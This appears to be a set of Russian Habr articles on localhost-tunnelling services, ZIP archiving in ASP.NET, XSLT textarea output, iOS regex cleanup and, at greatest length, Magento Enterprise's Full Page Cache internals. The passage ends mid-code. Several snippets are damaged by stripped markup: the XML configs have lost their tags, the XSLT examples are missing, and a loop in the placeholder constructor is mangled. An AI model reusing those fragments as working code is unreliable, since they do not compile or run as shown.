Иногда появляются проекты, глядя на которые возникает мысль: почему я не догадался сделать это раньше? Нечто подобное вы можете подумать о сервисе [Showoff.io](https://showoff.io/). Для веб-разработчика это простой и удобный способ тестировать проект в вебе и показывать заказчикам, расшарив локальный сервер через SSH-туннель. Просто устанавливаете программу, запускаете команду *show* с номером порта…
`> gem install showoff-io
> show 3000`
… и получаете рабочий URL типа https:// you.showoff.io. Работает даже через NAT.
Пять минут работы предоставляется бесплатно в демонстрационных целях, дальнейшие тарифы: $1 за день, $5 за месяц. При покупке месячного плана можно даже выбрать постоянный URL для своего сайта, тогда как для остальных он генерируется случайным образом каждые 5 минут или 24 часа.
Отличный стартап, вам не кажется? Простая идея, хорошая реализация. Если бы не узкая нацеленность на веб-разработчиков, он мог бы взлететь как Dropbox, ведь идея в принципе та же — здесь вы тоже можете расшаривать свои файлы через уникальный URL и рассылать этот URL всем желающим.
Для тех, кому интересна идея, но не хочется платить — можете посмотреть похожий проект [localtunnel](https://github.com/progrium/localtunnel) на github, который немного уступает по функциональности, но зато open source (лицензия MIT).
Ещё один похожий проект — [PageKite](https://pagekite.net/) (дают 2,5 ГБ бесплатно, а потом $1,50 за гигабайт).
UPD. Как всегда, самый лучший совет — в [комментариях](http://habrahabr.ru/blogs/webdev/117875/#comment_3838697). Рекомендуют [proxylocal gem](http://proxylocal.com/). Кроме того, что он абсолютно бесплатный, с [открытыми исходниками](https://github.com/proxylocal/proxylocal-gem), так ещё и автор есть на Хабре ([justlest](https://habrahabr.ru/users/justlest/)). | https://habr.com/ru/post/117875/ | null | ru | null |
# Когда нужно ZIPовать на лету
Задача тривиальная. Делаете какие то отчеты, файлы и хотите дать возможность пользователю их скачать в своем ASP.NET приложении. Почему полезно использовать архивацию?: а) уменьшается скачиваемый объем б) можно отдавать файлы пакетами по несколько.
В .net есть специальный класс для работы с GZip, находится в [System.IO.Compression](http://msdn.microsoft.com/en-us/library/system.io.compression(VS.80).aspx), и называется [GZipStream](http://msdn.microsoft.com/en-us/library/system.io.compression.gzipstream(VS.80).aspx), но он не позволяет хранить несколько файлов в одном архиве, такая специфика. Есть, конечно, энтузиасты, которые при помощи его создают и полноценные zip архивы (правда открывать они, вроде, могут их только при помощи своих программ — по крайней мере, мне попадались только такие).
В .NET 3.0 и выше можно использовать класс [ZipPackage](http://msdn2.microsoft.com/en-us/library/system.io.packaging.zippackage.aspx) из [System.IO.Packaging](http://msdn2.microsoft.com/en-us/library/system.io.packaging.aspx), который находится в сборке WindowsBase.DLL (находится примерно в C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\WindowsBase.dll), не знаю почему данная сборка не лежит в GAC, вот тут есть пример, как это все использовать: [Creating Zip archives in .NET (without an external library like SharpZipLib)](http://weblogs.asp.net/jgalloway/archive/2007/10/25/creating-zip-archives-in-net-without-an-external-library-like-sharpziplib.aspx).
Но все же если используете [SharpZipLib](http://www.icsharpcode.net/OpenSource/SharpZipLib/), как сделать архивирование в памяти? Наверняка, можно сделать через OutputZipStream. Но мне понравился класс FileZip, у которого есть метод Add(), в который можно передать имя файла, или готовый ZipEntry, а так же есть возможность передать объект с типом, унаследованным от IStaticDataSource.
Итак, реализуем класс, который будет использоваться в качестве Stream (потока) для архивирования классом FileZip:
> `///
>
> /// Реализация ресурса для зипования
>
> ///
>
> class MemoryStreamStaticDataSource : ICSharpCode.SharpZipLib.Zip.IStaticDataSource, IDisposable
>
> {
>
> private MemoryStream MemoryStream { get; set; }
>
>
>
> ///
>
> /// Создаем ресурс с MemoryStream
>
> ///
>
> ///
>
> public MemoryStreamStaticDataSource(byte[] bytes)
>
> {
>
> MemoryStream = new MemoryStream(bytes) { Position = 0 };
>
> }
>
>
>
> #region IStaticDataSource Members
>
>
>
> public Stream GetSource()
>
> {
>
> return MemoryStream;
>
> }
>
>
>
> #endregion
>
>
>
> #region IDisposable Members
>
>
>
> public void Dispose()
>
> {
>
> if (MemoryStream != null)
>
> MemoryStream.Dispose();
>
> }
>
>
>
> #endregion
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Файлы, пускай, у нас уже будут в виде набора байт (byte[]), идея в том, что эти файлы мы не хотим хранить физически, только в оперативной памяти. Задача — мы генерируем эти файлы сами, для примера я написал такой код:
> `///
>
> /// Пример, получаем данные первого сгенерированного файла
>
> ///
>
> ///
>
> private static byte[] GetFirstFileData()
>
> {
>
> return GetFileData(@"Первый файл.");
>
> }
>
>
>
> ///
>
> /// Пример, получаем данные второго сгенерированного файла
>
> ///
>
> ///
>
> private static byte[] GetSecondFileData()
>
> {
>
> return GetFileData(@"Второй файл.");
>
> }
>
>
>
> private static byte[] GetFileData(string textdata)
>
> {
>
> return Encoding.UTF8.GetBytes(textdata);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Итак, последнее, используя класс ZipFile, добавляем в архив наши бутафорские файлы и возвращаем в Response страницы (вместо контента страницы).
> `///
>
> /// Переопределяем загрузку страницы, и возвращаем zip файл
>
> ///
>
> ///
>
> protected override void OnLoad(EventArgs e)
>
> {
>
> base.OnLoad(e);
>
>
>
> Response.Clear();
>
> //Указывает MIME тип
>
> Response.ContentType = "application/zip";
>
> //Указываем, что приаттачен файл с именем file.zip
>
> Response.AddHeader("Content-Disposition", string.Format("attachment; filename=\"{0}\"", HttpUtility.UrlEncodeUnicode("file.zip")));
>
>
>
> //Получаем данные(файл архива) и записываем в Response
>
> byte[] bytes = GetZipData();
>
> Response.OutputStream.Write(bytes, 0, bytes.Length);
>
> }
>
>
>
> private static byte[] GetZipData()
>
> {
>
> //Создаем архив в памяти
>
> using (MemoryStream ms = new MemoryStream())
>
> {
>
> using (ICSharpCode.SharpZipLib.Zip.ZipFile file = new ICSharpCode.SharpZipLib.Zip.ZipFile(ms))
>
> {
>
> file.BeginUpdate();
>
>
>
> //Добавляем в архив первый файл
>
> file.Add(new MemoryStreamStaticDataSource(GetFirstFileData()), "file1.txt");
>
> //Добавляем в архив второй файл
>
> file.Add(new MemoryStreamStaticDataSource(GetSecondFileData()), "file2.txt");
>
>
>
> file.CommitUpdate();
>
> }
>
>
>
> return ms.ToArray();
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В результате у нас получиться страница aspx, которая будет возвращать zip архив с двумя файлами.
[Скачать пример...](http://cid-ed105c18939cfcb7.skydrive.live.com/self.aspx/LiveJournal/WebApplicationZipSample.zip) | https://habr.com/ru/post/56843/ | null | ru | null |
# Правильный textarea в XSLT с методом вывода XML
Наверное, многие, начинающие изучать XSLT, сталкивались с проблемой — textarea в режиме вывода XML выводится как одиночный закрытый тэг:
, а не как пара тэгов с нулевым ребенком:
И постоянно, при встрече с данной проблемой, я пытался найти её решение в сети, но никак не мог найти — то ли запрос не так составлял поисковику, то ли никто не желал делиться информацией. В конце концов, решил найти способ сам для правильного, без сворачивания, вывода этого злополучного textarea. Конечно, можно вставить символы в этот тэг и вырезать их после трансформации ява-скриптом, либо сохранять трансформацию(если за нас это делает сервер, в моем случае — php) в переменную и строковой заменой вырезать лишнее. Но мы не ищем легких путей, не так ли?:-)
В общем, методом проб и ошибок появилось два способа обмануть парсер(чтобы он считал, что в тэге есть дети, хотя на самом деле их там нет).
**Способ 1**.
Даем парсеру xsl:text и вложенный в него пустой CDATA и тот с радостью считает, что в textarea что-то находится.
На выходе имеем правильный textarea с пустым содержанием.
**Способ 2**.
Добавляем элемент xsl:text, внутри которого находится перенос строки на первой строке(приношу извинения на тавтологию) и нулевое число пробельных символов на второй строке перед закрывающим тегом.
Результат — аналогично способу 1, но, на мой взгляд, исходный код шаблона не совсем красив в данном случае.
Приведенная инфомация не претендует на уникальность, а носит вспомогательный характер подобным мне личностям, так и не смогшим составить правильный запрос поисковику | https://habr.com/ru/post/27666/ | null | ru | null |
# MSLibrary. ПРОСТО: удаляем из строки ненужные символы, используя регулярные выражения, для iOS и не только…
В дополнение к большим и подробным материалам, разработчики библиотеки [MSLibrary](https://habrahabr.ru/users/mslibrary/) for iOS решили начать серию очень компактных статей, посвященных тому как ПРОСТО реализовать ту или иную функцию. Никакой теории, только практика…
Итак, удаляем из строки ненужные символы, используя регулярные выражения, с помощью простой функции:
```
NSString *yourFuncionName(NSString *string) {
NSString *regExString = @"yourRegularExpression";
NSRegularExpression *_regEx = [NSRegularExpression regularExpressionWithPattern:regExString options:NSRegularExpressionCaseInsensitive error:nil];
return [_regEx stringByReplacingMatchesInString:string options:0 range:NSMakeRange(0, [string length]) withTemplate:@""];
}
```
Вот, собственно, и все, осталось подобрать подходящее регулярное выражение, которое решает поставленные вами задачи.
Несколько полезных регулярных выражений:
```
\\s - удаляет все пробелы
[-:_\\.] - удаляет все символы, находящиеся в квадратных скобках
[:^digit:] - оставляет только цифры
[:^alpha:] - оставляет только буквы
[:^alnum:] - оставляет только буквы и цифры
[:^word:] - оставляет только буквы, цифры и подчеркивания
```
> **Важно:** *не забудьте экранировать в регулярных выражениях все мета-символы знаком "\\"*
Для тех, кто только осваивает навыки работы, приведем пример кода, оставляющего в строке только цифры:
```
NSString *function_OnlyDigitsInString(NSString *string) {
NSString *regExString = @"[:^digit:]";
NSRegularExpression *_regEx = [NSRegularExpression regularExpressionWithPattern:regExString options:NSRegularExpressionCaseInsensitive error:nil];
return [_regEx stringByReplacingMatchesInString:string options:0 range:NSMakeRange(0, [string length]) withTemplate:@""];
}
```
Как видите вопрос решается всего в несколько простых строк кода, а при использовании библиотеки [MSLibrary](https://habrahabr.ru/users/mslibrary/) for iOS — в одну строку.
---
Надеемся, что материал был для вас полезен, команда [MSLibrary](https://habrahabr.ru/users/mslibrary/) for iOS
Другие статьи:
[**Захват и верификация телефонных номеров с помощью регулярных выражений, для iOS и не только… Часть 1**](https://habrahabr.ru/post/278345/)
[**Захват и верификация телефонных номеров с помощью регулярных выражений, для iOS и не только… Часть 2**](https://habrahabr.ru/post/278359/)
[**Реализация множественного выбора условий с помощью битовых масок, для iOS и не только…**](https://habrahabr.ru/post/279441/)
[**Создание и компиляция кроссплатформенных (универсальных) библиотек в Xcode**](https://habrahabr.ru/post/280286/) | https://habr.com/ru/post/279563/ | null | ru | null |
# Magento Enterprise: Что такое Full Page Cache и почему он нужен
Magento Enterprise: Что такое Full Page Cache и почему он нужен.
----------------------------------------------------------------
Для тех, кто знаком с Magento, не секрет, что этот e-commerce движок довольно требователен к железу. Но разработчики этого интернет-магазина попытались решить эту проблему и придумали много различного рода «ускорялок», без которых, пожалуй, запускать магазин на движке Magento в продакшн не стоит. Слишком долго Magento будет отдавать конечному пользователю страницу. Среди таких «ускорялок» кеши, индексы, компиляция, объединение JS/CSS в один сжатый файл и др.
Одной из основных «фишек» Magento Enterprise является Full Page Cache (далее FPC). Эту «фишку» реализует модуль Enterprise\_PageCache, входящий в состав пакета Magento Enterprise.
В статье рассматривается самая свежая на момент написания статьи версия Magento Enterprise: 1.13.1.
FPC позволяет отдавать серверу страницу за считанные миллисекунды, практически не нагружая сервер. Я провел замеры времени отдачи страницы продукта сервером (в одном из проектов, над которым работал), вот результаты:
* 65 ms при включенном FPC (когда все блоки были закешированы);
* 1250 ms при выключенном FPC (при этом все остальные виды кеша включены);
* 2500 ms при отключенном кеше всех видов.
Почему разница настолько велика? Давайте разберёмся.
Что и когда кеширует FPC
------------------------
Как следует из названия, Full Page Cache кеширует полностью всю страницу. Но кеширует не все страницы. Как минимум потому, что для этого нет смысла. По умолчанию кешируются только страницы продукта, страницы категории, CMS-страницы и страница с 404 ошибкой (страница не найдена). В этом можно убедиться, посмотрев конфигурацию модуля (config.xml):
```
<\_no\_route>enterprise\_pagecache/processor\_noroute
enterprise\_pagecache/processor\_default
enterprise\_pagecache/processor\_category
enterprise\_pagecache/processor\_product
```
В секции frontend/cache/requests здесь указывается frontName контроллера модуля (его значение хранится в конфиге модуля по пути: frontend/routers/route\_name/args/frontName), затем контроллер и экшен (контроллер и экшен — необязательные параметры). А передаваемое значение — процессор реквеста (запроса).
Вы можете точно так же заставить кешировать контроллеры/контроллер/экшен вашего модуля, достаточно добавить в нужную секцию данные аналогично тому, как это делает модуль Enterprise\_PageCache. Пример:
```
enterprise\_pagecache/processor\_default
```
При этом есть ряд условий, при которых FPC не кеширует страницы. Не кешируются, к примеру, HTTPS страницы, страницы с GET-параметром no\_cache. Методы canProcessRequest и isAllowed класса Enterprise\_PageCache\_Model\_Processor:
```
/**
* Do basic validation for request to be cached
*
* @param Zend_Controller_Request_Http $request
* @return bool
*/
public function canProcessRequest(Zend_Controller_Request_Http $request)
{
$res = $this->isAllowed();
$res = $res && Mage::app()->useCache('full_page');
if ($request->getParam('no_cache')) {
$res = false;
}
if ($res) {
$maxDepth = Mage::getStoreConfig(self::XML_PATH_ALLOWED_DEPTH);
$queryParams = $request->getQuery();
unset($queryParams[Enterprise_PageCache_Model_Cache::REQUEST_MESSAGE_GET_PARAM]);
$res = count($queryParams)<=$maxDepth;
}
if ($res) {
$multicurrency = Mage::getStoreConfig(self::XML_PATH_CACHE_MULTICURRENCY);
if (!$multicurrency && !empty($_COOKIE['currency'])) {
$res = false;
}
}
return $res;
}
```
```
/**
* Check if processor is allowed for current HTTP request.
* Disable processing HTTPS requests and requests with "NO_CACHE" cookie
*
* @return bool
*/
public function isAllowed()
{
if (!$this->_requestId) {
return false;
}
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') {
return false;
}
if (isset($_COOKIE['NO_CACHE'])) {
return false;
}
if (isset($_GET['no_cache'])) {
return false;
}
if (isset($_GET[Mage_Core_Model_Session_Abstract::SESSION_ID_QUERY_PARAM])) {
return false;
}
if (!Mage::app()->useCache('full_page')) {
return false;
}
return true;
}
```
Как работает FPC
----------------
Если страница кешируется FPC-кешем, то FPC отключает стандартный кеш блоков. См. метод processPreDispatch класса Enterprise\_PageCache\_Model\_Observer, который срабатывает, когда возникает событие (event) controller\_action\_predispatch:
```
/**
* Check when cache should be disabled
*
* @param Varien_Event_Observer $observer
* @return Enterprise_PageCache_Model_Observer
*/
public function processPreDispatch(Varien_Event_Observer $observer)
{
if (!$this->isCacheEnabled()) {
return $this;
}
$action = $observer->getEvent()->getControllerAction();
/* @var $request Mage_Core_Controller_Request_Http */
$request = $action->getRequest();
$noCache = $this->_getCookie()->get(Enterprise_PageCache_Model_Processor::NO_CACHE_COOKIE);
if ($noCache) {
Mage::getSingleton('catalog/session')->setParamsMemorizeDisabled(false);
$this->_getCookie()->renew(Enterprise_PageCache_Model_Processor::NO_CACHE_COOKIE);
} elseif ($action) {
Mage::getSingleton('catalog/session')->setParamsMemorizeDisabled(true);
}
/**
* Check if request will be cached
*/
if ($this->_processor->canProcessRequest($request)) {
Mage::app()->getCacheInstance()->banUse(Mage_Core_Block_Abstract::CACHE_GROUP);
}
$this->_getCookie()->updateCustomerCookies();
return $this;
}
```
FPC генерирует для каждого HTTP-запроса свой идентификатор кеша, который будет использован для сохранении страницы в кеш. Идентификатор кеша зависит от нескольких параметров: авторизован кастомер или нет, к каким сегментам он относится, к какой группе пользователей относится и пр. Посмотреть, как генерируется этот идентификатор, можно в методе \_createRequestIds класса Enterprise\_PageCache\_Model\_Processor:
```
/**
* Populate request ids
* @return Enterprise_PageCache_Model_Processor
*/
protected function _createRequestIds()
{
$uri = $this->_getFullPageUrl();
//Removing get params
$pieces = explode('?', $uri);
$uri = array_shift($pieces);
/**
* Define COOKIE state
*/
if ($uri) {
if (isset($_COOKIE['store'])) {
$uri = $uri.'_'.$_COOKIE['store'];
}
if (isset($_COOKIE['currency'])) {
$uri = $uri.'_'.$_COOKIE['currency'];
}
if (isset($_COOKIE[Enterprise_PageCache_Model_Cookie::COOKIE_CUSTOMER_GROUP])) {
$uri .= '_' . $_COOKIE[Enterprise_PageCache_Model_Cookie::COOKIE_CUSTOMER_GROUP];
}
if (isset($_COOKIE[Enterprise_PageCache_Model_Cookie::COOKIE_CUSTOMER_LOGGED_IN])) {
$uri .= '_' . $_COOKIE[Enterprise_PageCache_Model_Cookie::COOKIE_CUSTOMER_LOGGED_IN];
}
if (isset($_COOKIE[Enterprise_PageCache_Model_Cookie::CUSTOMER_SEGMENT_IDS])) {
$uri .= '_' . $_COOKIE[Enterprise_PageCache_Model_Cookie::CUSTOMER_SEGMENT_IDS];
}
if (isset($_COOKIE[Enterprise_PageCache_Model_Cookie::IS_USER_ALLOWED_SAVE_COOKIE])) {
$uri .= '_' . $_COOKIE[Enterprise_PageCache_Model_Cookie::IS_USER_ALLOWED_SAVE_COOKIE];
}
$designPackage = $this->_getDesignPackage();
if ($designPackage) {
$uri .= '_' . $designPackage;
}
}
$this->_requestId = $uri;
$this->_requestCacheId = $this->prepareCacheId($this->_requestId);
return $this;
}
```
FPC использует плейсхолдеры. Они в Magento добавляются с помощью файла конфигурации cache.xml в папке etc модуля. А плейсхолдер обрабатывается контейнером плейсхолдера. Контейнер — это класс, который будет обрабатывать плейсхолдер во время рендеринга FPC (процесс рендеринга блока FPC-кешем отличается от обычного рендеринга блока). Пример файла cache.xml:
```
xml version="1.0" encoding="UTF-8"?
turnkeye\_popup/popup
POPUP
Turnkeye\_Popup\_Model\_PageCache\_Container\_Popup
86400
```
Кратко о конфигурации плейсхолдера:
* block — тип или класс блока
* placeholder — название плейсхолдера
* container — тип или класс контейнера плейсхолдера
* cache\_lifetime — время жизни кеша
Во время рендеринга при включенном FPC содержимое каждого блока оборачивается плейсхолдером и кешируется: когда срабатывает событие core\_block\_abstract\_to\_html\_after, выполняется метод renderBlockPlaceholder класса Enterprise\_PageCache\_Model\_Observer:
```
/**
* Render placeholder tags around the block if needed
*
* @param Varien_Event_Observer $observer
* @return Enterprise_PageCache_Model_Observer
*/
public function renderBlockPlaceholder(Varien_Event_Observer $observer)
{
if (!$this->_isEnabled) {
return $this;
}
$block = $observer->getEvent()->getBlock();
$transport = $observer->getEvent()->getTransport();
$placeholder = $this->_config->getBlockPlaceholder($block);
if ($transport && $placeholder && !$block->getSkipRenderTag()) {
$blockHtml = $transport->getHtml();
$request = Mage::app()->getFrontController()->getRequest();
/** @var $processor Enterprise_PageCache_Model_Processor_Default */
$processor = $this->_processor->getRequestProcessor($request);
if ($processor && $processor->allowCache($request)) {
$container = $placeholder->getContainerClass();
if ($container && !Mage::getIsDeveloperMode()) {
$container = new $container($placeholder);
$container->setProcessor(Mage::getSingleton('enterprise_pagecache/processor'));
$container->setPlaceholderBlock($block);
$container->saveCache($blockHtml);
}
}
$blockHtml = $placeholder->getStartTag() . $blockHtml . $placeholder->getEndTag();
$transport->setHtml($blockHtml);
}
return $this;
}
```
Здесь $placeholder получается при помощи класса Enterprise\_PageCache\_Model\_Config методом getBlockPlaceholder:
```
/**
* Create placeholder object based on block information
*
* @param Mage_Core_Block_Abstract $block
* @return Enterprise_PageCache_Model_Container_Placeholder
*/
public function getBlockPlaceholder($block)
{
$this->_initPlaceholders();
$type = $block->getType();
if (isset($this->_placeholders[$type])) {
$placeholderData = false;
foreach ($this->_placeholders[$type] as $placeholderInfo) {
if (!empty($placeholderInfo['name'])) {
if ($placeholderInfo['name'] == $block->getNameInLayout()) {
$placeholderData = $placeholderInfo;
}
} else {
$placeholderData = $placeholderInfo;
}
}
if (!$placeholderData) {
return false;
}
$placeholder = $placeholderData['code']
. ' container="' . $placeholderData['container'] . '"'
. ' block="' . get_class($block) . '"';
$placeholder.= ' cache_id="' . $block->getCacheKey() . '"';
if (!empty($placeholderData['cache_lifetime'])) {
$placeholder .= ' cache_lifetime="' . $placeholderData['cache_lifetime'] . '"';
}
foreach ($block->getCacheKeyInfo() as $k => $v) {
if (is_string($k) && !empty($k)) {
$placeholder .= ' ' . $k . '="' . $v . '"';
}
}
$placeholder = Mage::getModel('enterprise_pagecache/container_placeholder', $placeholder);
return $placeholder;
}
return false;
}
```
Конструктор класса Enterprise\_PageCache\_Model\_Container\_Placeholder:
```
/**
* Class constructor.
* Initialize placeholder name and attributes based on definition
*
* @param string $definition
*/
public function __construct($definition)
{
if ($definition && array_key_exists($definition, self::$_definitionMap)) {
$definition = self::$_definitionMap[$definition];
}
$this->_definition = $definition;
$definition = explode(' ', $definition);
$this->_name = $definition[0];
$count = count($definition);
if ($count>1) {
for ($i=1; $i_attributes[$info[0]] = isset($info[1]) ? trim($info[1], '"\'') : null;
}
}
}
```
В будущем в классе контейнера можно будет получить атрибуты блока методом getAttribute:
```
/**
* Get attribute by specific code
* @param $code string
* @return string
*/
public function getAttribute($code)
{
return isset($this->_attributes[$code]) ? $this->_attributes[$code] : null;
}
```
Методы для обёртки плейсхолдером контента блока:
```
/**
* Retrieve placeholder definition hash
*
* @return string
*/
protected function _getDefinitionHash()
{
$definition = $this->getDefinition();
$result = array_search($definition, self::$_definitionMap);
if ($result === false) {
$result = $this->getName() . '_' . md5($definition);
self::$_definitionMap[$result] = $definition;
}
return $result;
}
/**
* Get placeholder start tag for block html generation
*
* @return string
*/
public function getStartTag()
{
return '';
}
/**
* Get placeholder end tag for block html generation
*
* @return string
*/
public function getEndTag()
{
return '';
}
```
Пример обёртки плейсхолдером контента блока:
```
< !--{TOPMENU_21c7f778e21d072d331836703b6295f5}-->
< div class="nav-container">
< ul id="nav">
< li class="level0 nav-1 first last level-top">
< a class="level-top" href="http://example.com/test-category.html">
< span>Test category
```
< !--/{TOPMENU\_21c7f778e21d072d331836703b6295f5}-->
Перед тем, как производится отправка ответа на запрос, срабатывавает событие controller\_front\_send\_response\_before и выполняется метод cacheResponse класса Enterprise\_PageCache\_Model\_Observer, который сохраняет страницу в кеш, если это необходимо. Код метода cacheResponse:
```
/**
* Save page body to cache storage
*
* @param Varien_Event_Observer $observer
* @return Enterprise_PageCache_Model_Observer
*/
public function cacheResponse(Varien_Event_Observer $observer)
{
if (!$this->isCacheEnabled()) {
return $this;
}
$frontController = $observer->getEvent()->getFront();
$request = $frontController->getRequest();
$response = $frontController->getResponse();
$this->_saveDesignException();
$this->_processor->processRequestResponse($request, $response);
return $this;
}
```
Здесь метод processRequestResponse сохраняет всю страницу и нужные данные в кеш, если это нужно:
```
/**
* Process response body by specific request
*
* @param Zend_Controller_Request_Http $request
* @param Zend_Controller_Response_Http $response
* @return Enterprise_PageCache_Model_Processor
*/
public function processRequestResponse(Zend_Controller_Request_Http $request,
Zend_Controller_Response_Http $response
) {
// we should add original path info tag as another way we can't drop some entities from cron job
$this->addRequestTag(Enterprise_PageCache_Helper_Url::prepareRequestPathTag($request->getOriginalPathInfo()));
$cacheInstance = Enterprise_PageCache_Model_Cache::getCacheInstance();
/**
* Basic validation for request processing
*/
if ($this->canProcessRequest($request)) {
$processor = $this->getRequestProcessor($request);
if ($processor && $processor->allowCache($request)) {
$this->setMetadata('cache_subprocessor', get_class($processor));
$cacheId = $this->prepareCacheId($processor->getPageIdInApp($this));
$content = $processor->prepareContent($response);
/**
* Replace all occurrences of session_id with unique marker
*/
Enterprise_PageCache_Helper_Url::replaceSid($content);
Enterprise_PageCache_Helper_Form_Key::replaceFormKey($content);
if (function_exists('gzcompress')) {
$content = gzcompress($content);
}
$contentSize = strlen($content);
$currentStorageSize = (int) $cacheInstance->load(self::CACHE_SIZE_KEY);
if (Mage::getStoreConfig(Enterprise_PageCache_Model_Processor::XML_PATH_CACHE_DEBUG)) {
$response->setBody(implode(', ', $this->getRequestTags()) . $response->getBody());
}
$maxSizeInBytes = Mage::getStoreConfig(self::XML_PATH_CACHE_MAX_SIZE) * 1024 * 1024;
if ($currentStorageSize >= $maxSizeInBytes) {
Mage::app()->getCacheInstance()->invalidateType('full_page');
return $this;
}
$cacheInstance->save($content, $cacheId, $this->getRequestTags());
$cacheInstance->save(
$currentStorageSize + $contentSize,
self::CACHE_SIZE_KEY,
$this->getRequestTags()
);
/*
* Save design change in cache
*/
$designChange = Mage::getSingleton('core/design');
if ($designChange->getData()) {
$cacheInstance->save(
serialize($designChange->getData()),
$this->getRequestCacheId() . self::DESIGN_CHANGE_CACHE_SUFFIX,
$this->getRequestTags()
);
}
// save response headers
$this->setMetadata('response_headers', $response->getHeaders());
// save original routing info
$this->setMetadata('routing_aliases', Mage::app()->getRequest()->getAliases());
$this->setMetadata('routing_requested_route', Mage::app()->getRequest()->getRequestedRouteName());
$this->setMetadata('routing_requested_controller',
Mage::app()->getRequest()->getRequestedControllerName());
$this->setMetadata('routing_requested_action', Mage::app()->getRequest()->getRequestedActionName());
$this->setMetadata('sid_cookie_name', Mage::getSingleton('core/session')->getSessionName());
Mage::dispatchEvent('pagecache_processor_metadata_before_save', array('processor' => $this));
$this->_saveMetadata();
}
if (isset($_GET[Mage_Core_Model_Session_Abstract::SESSION_ID_QUERY_PARAM])) {
Mage::getSingleton('enterprise_pagecache/cookie')->updateCustomerCookies();
Mage::getModel('enterprise_pagecache/observer')->updateCustomerProductIndex();
}
}
return $this;
}
```
Здесь очень важный момент заключается в том, что перед сохранением в кеш страницы содержимое блоков с плейсхолдером заменяется на описание блоков: $content = $processor->prepareContent($response);. Метод prepareContent:
```
/**
* Prepare response body before caching
*
* @param Zend_Controller_Response_Http $response
* @return string
*/
public function prepareContent(Zend_Controller_Response_Http $response)
{
return $this->replaceContentToPlaceholderReplacer($response->getBody());
}
```
Метод replaceContentToPlaceholderReplacer:
```
/**
* Replace block content to placeholder replacer
*
* @param string $content
* @return string
*/
public function replaceContentToPlaceholderReplacer($content)
{
$placeholders = array();
preg_match_all(
Enterprise_PageCache_Model_Container_Placeholder::HTML_NAME_PATTERN,
$content,
$placeholders,
PREG_PATTERN_ORDER
);
$placeholders = array_unique($placeholders[1]);
try {
foreach ($placeholders as $definition) {
$this->_placeholder = Mage::getModel('enterprise_pagecache/container_placeholder', $definition);
$content = preg_replace_callback($this->_placeholder->getPattern(),
array($this, '_getPlaceholderReplacer'), $content);
}
$this->_placeholder = null;
} catch (Exception $e) {
$this->_placeholder = null;
throw $e;
}
return $content;
}
```
В итоге в кеше страницы будет содержаться информация о блоке вместо содержимого блока. Эта информация поможет отрендерить блок в будущем. Вот пример такой информации, которую FPC будет заменять на содержимое блока во время своего рендеринга:
```
< !--{POPUP
container="Turnkeye_Popup_Model_PageCache_Container_Popup"
block="Turnkeye_Popup_Block_Popup"
cache_id="c3b32091a1ebd3b276a8fd70496a8e6da20865d0"
cache_lifetime="86400"
template="turnkeye/popup/popup.phtml"
handles="a:2:{i:0;s:15:"cms_index_index";i:1;s:8:"cms_page";}"
customer_segment_ids="a:1:{i:0;i:0;}"
popup_ids="a:1:{i:0;s:1:"1";}"
excluded_popup_ids="a:1:{i:0;i:1;}"}-->
```
При следующей загрузке этой страницы Magento загрузит эту страницу из кеша (см. метод extractContent класса Enterprise\_PageCache\_Model\_Processor). Если в кеше пусто — обычный рендеринг с инициализацией Magento (как будто FPC и не было) с последующим сохранением в кеш страницы. Если же страница есть в кеше, то FPC будет обрабатывать контент из этого кеша.
Методы \_processContent и \_processContainers класса Enterprise\_PageCache\_Model\_Processor:
```
/**
* Determine and process all defined containers.
* Direct request to pagecache/request/process action if necessary for additional processing
*
* @param string $content
* @return string|false
*/
protected function _processContent($content)
{
$containers = $this->_processContainers($content);
$isProcessed = empty($containers);
// renew session cookie
$sessionInfo = Enterprise_PageCache_Model_Cache::getCacheInstance()->load($this->getSessionInfoCacheId());
if ($sessionInfo) {
$sessionInfo = unserialize($sessionInfo);
foreach ($sessionInfo as $cookieName => $cookieInfo) {
if (isset($_COOKIE[$cookieName]) && isset($cookieInfo['lifetime'])
&& isset($cookieInfo['path']) && isset($cookieInfo['domain'])
&& isset($cookieInfo['secure']) && isset($cookieInfo['httponly'])
) {
$lifeTime = (0 == $cookieInfo['lifetime']) ? 0 : time() + $cookieInfo['lifetime'];
setcookie($cookieName, $_COOKIE[$cookieName], $lifeTime,
$cookieInfo['path'], $cookieInfo['domain'],
$cookieInfo['secure'], $cookieInfo['httponly']
);
}
}
} else {
$isProcessed = false;
}
if (isset($_COOKIE[Enterprise_PageCache_Model_Cookie::COOKIE_FORM_KEY])) {
$formKey = $_COOKIE[Enterprise_PageCache_Model_Cookie::COOKIE_FORM_KEY];
} else {
$formKey = Enterprise_PageCache_Helper_Data::getRandomString(16);
Enterprise_PageCache_Model_Cookie::setFormKeyCookieValue($formKey);
}
Enterprise_PageCache_Helper_Form_Key::restoreFormKey($content, $formKey);
/**
* restore session_id in content whether content is completely processed or not
*/
$sidCookieName = $this->getMetadata('sid_cookie_name');
$sidCookieValue = $sidCookieName && isset($_COOKIE[$sidCookieName]) ? $_COOKIE[$sidCookieName] : '';
// XSS vulnerability protection provided by htmlspcialchars call - escape & " ' < > chars
Enterprise_PageCache_Helper_Url::restoreSid($content, htmlspecialchars($sidCookieValue, ENT_QUOTES));
if ($isProcessed) {
return $content;
} else {
Mage::register('cached_page_content', $content);
Mage::register('cached_page_containers', $containers);
Mage::app()->getRequest()
->setModuleName('pagecache')
->setControllerName('request')
->setActionName('process')
->isStraight(true);
// restore original routing info
$routingInfo = array(
'aliases' => $this->getMetadata('routing_aliases'),
'requested_route' => $this->getMetadata('routing_requested_route'),
'requested_controller' => $this->getMetadata('routing_requested_controller'),
'requested_action' => $this->getMetadata('routing_requested_action')
);
Mage::app()->getRequest()->setRoutingInfo($routingInfo);
return false;
}
}
```
```
/**
* Process Containers
*
* @param $content
* @return array
*/
protected function _processContainers(&$content)
{
$placeholders = array();
preg_match_all(
Enterprise_PageCache_Model_Container_Placeholder::HTML_NAME_PATTERN,
$content, $placeholders, PREG_PATTERN_ORDER
);
$placeholders = array_unique($placeholders[1]);
$containers = array();
foreach ($placeholders as $definition) {
$placeholder = new Enterprise_PageCache_Model_Container_Placeholder($definition);
$container = $placeholder->getContainerClass();
if (!$container) {
continue;
}
$container = new $container($placeholder);
$container->setProcessor($this);
if (!$container->applyWithoutApp($content)) {
